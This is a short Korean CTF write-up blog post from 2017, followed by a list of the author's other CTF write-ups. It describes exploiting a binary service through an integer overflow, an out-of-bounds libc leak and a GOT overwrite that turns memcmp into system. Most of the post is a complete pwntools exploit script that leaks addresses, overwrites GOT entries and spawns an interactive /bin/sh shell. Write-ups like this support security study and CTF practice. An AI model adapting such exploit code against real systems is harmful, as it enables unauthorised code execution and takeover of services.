인티져 오버플로우를 통해서 root를 우회할 수 있고
-를 이용해 릭과 got overwrite가 가능하다.
문제는 got를 이용해서 어떻게 공격을 할까인데
첫 번째 인자를 조절할수 있는 방법이 memcmp밖에 없기 때문에 이를 system으로 바꿧다.
open을 ret으로 바꿔주면 memcmp에 첫번째 인자를 원하는 곳으로 바꿀수 있다.
memcmp가 main 처음에 있기 때문에 scanf를 main으로 돌려서 호출시켰다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | # !/usr/bin/env python # powerprove from pwn import * import sys if len(sys.argv) < 2: host = "localhost" port = 4000 def init(): s.recvuntil("password:") s.sendline("") s.recvuntil("_id:") s.sendline("-16777216") # integer_overflow def input(): s.recvuntil("sort ?") s.sendline("-129") s.recvuntil("integers") for i in range(0, 127): s.sendline(str(i)) def leak(): s.recvuntil("break\n") s.sendline("-21") read_addr = int(s.recv(10),16) log.info("read_addr : " + hex(read_addr)) s.sendline("-1") return read_addr - 0xd5af0 def edit(payload): s.recvuntil("it ?") s.sendline("y") s.sendline(str(payload)) def passs(): s.recvuntil("it ?") s.sendline("") def pwn(system_addr): s.recvuntil("find\n") s.sendline("1879048191") for i in range(0, 30): if i == 22: edit(system_addr) elif i == 25: edit(str(134514642)) elif i == 28: edit(str(134515010)) else: passs() edit("/bin/sh") s.recvuntil("password:\n") s.sendline("FUCK") s = remote(host, port) if __name__ == "__main__": init() input() libc_base = leak() log.info("libc_base : " + hex(libc_base)) system_addr = libc_base + 0x3ada0 log.info("system_addr : "+hex(system_addr)) pwn(system_addr) s.interactive() | cs |
'CTF > 2017' 카테고리의 다른 글
twctf just_do_it write up (0) | 2017.09.08 |
---|---|
meepwn CTF 2017 - oldschool (0) | 2017.07.23 |
[0CTF EasiestPrintf] write up (0) | 2017.06.30 |
[plaid ctf 2017] bigpicture (0) | 2017.06.29 |
[google ctf 2017] Inst Prof write up (0) | 2017.06.29 |